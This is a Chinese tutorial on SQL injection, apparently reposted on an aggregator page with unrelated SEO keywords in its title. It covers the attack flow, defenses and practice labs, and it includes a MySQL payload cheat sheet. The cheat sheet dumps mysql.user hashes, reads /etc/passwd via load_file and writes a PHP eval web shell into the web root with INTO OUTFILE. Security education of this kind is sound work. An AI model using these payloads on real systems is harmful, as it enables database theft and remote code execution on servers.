您的位置:首页 > 游戏 > 手游 > 网站设计计划书的内容_全国连锁装修公司_淘宝关键词怎么做排名靠前_小小课堂seo自学网

网站设计计划书的内容_全国连锁装修公司_淘宝关键词怎么做排名靠前_小小课堂seo自学网

2025/1/6 5:53:38 来源:https://blog.csdn.net/weixin_49816293/article/details/144819355  浏览:    关键词:网站设计计划书的内容_全国连锁装修公司_淘宝关键词怎么做排名靠前_小小课堂seo自学网
网站设计计划书的内容_全国连锁装修公司_淘宝关键词怎么做排名靠前_小小课堂seo自学网

SQL注入(SQL Injection,简称SQLi)是一种常见的网络安全漏洞,允许攻击者通过在应用程序的输入数据中插入恶意的SQL代码,操纵数据库执行未经授权的操作。本文将详细介绍SQL注入的基本概念、攻击流程、防御措施以及学习资源。

             0dayNu1L-CSDN博客      点关注,不迷路,请一键三连❤❤❤

目录

1. SQL注入基本概念

2. SQL注入攻击流程

3. SQL注入防御措施

 3. SQL注入常用语法

4.SQL注入常用语法

5.学习资源 


1. SQL注入基本概念🎃

SQL注入是一种Web安全漏洞,允许攻击者通过在用户输入中插入SQL代码,干扰应用程序的数据库查询。攻击者可以利用这种漏洞来查看、修改或删除数据库中的数据。

2. SQL注入攻击流程🚚

SQL注入攻击通常包括以下步骤:

  • 寻找注入点:攻击者通过尝试在应用程序的输入字段中插入SQL代码,来寻找可能的注入点。这些输入点通常是用户可以输入数据的位置,如登录表单、搜索框、URL参数等。
  • 构造恶意SQL语句:攻击者在输入点注入恶意SQL代码。由于应用程序未对输入数据进行充分的验证或过滤,注入的SQL代码会直接拼接到SQL查询中。
  • 执行恶意SQL代码:数据库接收到由攻击者构造的恶意SQL查询并执行。根据查询的内容,攻击者可以获取数据库中的敏感数据、修改表结构、删除数据等。
  • 获取或破坏数据:执行后的SQL查询结果通常会返回给攻击者,从而获取到敏感信息或对数据库进行破坏。

3. SQL注入防御措施🧣

为了有效防范SQL注入攻击,可以采取以下措施:

  • 输入验证与过滤:在后端代码中严格验证和过滤用户输入,确保只接受合法的数据格式。例如,使用正则表达式来限制输入的格式。
  • 使用预编译语句:通过使用预编译语句(Prepared Statements)和参数化查询,避免SQL语句与用户输入直接拼接,从根本上防止SQL注入。这种方法可以确保用户输入被正确转义,防止注入攻击。
  • 最小权限原则:限制数据库用户的权限,确保即使攻击者成功注入SQL语句,也无法对数据库造成严重破坏。只授予应用程序必要的最低数据库权限。
  • 使用Web应用防火墙(WAF):WAF可以在恶意输入到达应用程序之前将其过滤掉,从而检测并阻止常见的SQL注入尝试。
  • 定期安全测试与监控:定期进行安全测试(如渗透测试)和数据库访问日志监控,及时发现和修复潜在的安全漏洞。

4.SQL注入常用语法🎭

information_schema包含了大量有用的信息,例如下图

mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码

当前用户:select user()
数据库版本:select version() , select @@version
数据库名:select database()
操作系统:select @@version_compile_os
所有变量:show variables
单个变量:select @@secure_file_priv , show variables like 'secure_file_%'
爆字段数:order by 1... ,group by 1...
查库名:select group_concat(schema_name) from information_schema.schemata
查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)
读文件:select load_file('/etc/passwd')
写文件:select '?php @eval($_POST[a]);?' into outfile '/var/www/html/a.php' //该处文件名无法使用16进制绕过

5.SQL注入常用语法

截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)
字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')
多行拼接:group_concat //eg: select group_concat(user) from mysql.user
时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等
编码函数: hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换)
布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...

6.学习资源 

1.sql-libs

  • 知识点:专门用于学习和测试SQL注入的开源平台,提供一系列的注入场景和关卡,帮助开发者和安全测试人员深入理解SQL注入的原理和防范方法。
  • 适合用户:Web安全学习者和渗透测试人员。
  • 链接:sql注入 sql-libs在线靶场

2.慕课手记

  • 知识点:提供了SQL注入的用户入门指南与防范技巧解析,包括强化应用程序权限与访问控制、案例分析等。
  • 适合用户:适合网络安全初学者和有一定基础的开发者,希望了解SQL注入的风险和防御方法。
  • 链接:慕课手记

3.CTF Wiki

  • 知识点:CTF Wiki 提供了CTF中各个方向的知识和技术介绍,包括SQL注入的基础知识和例题,每道题都争取写了详尽的解题思路和对应脚本。
  • 适合用户:适合CTF初学者和对网络安全感兴趣的学习者。
  • 链接:CTF Wiki

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com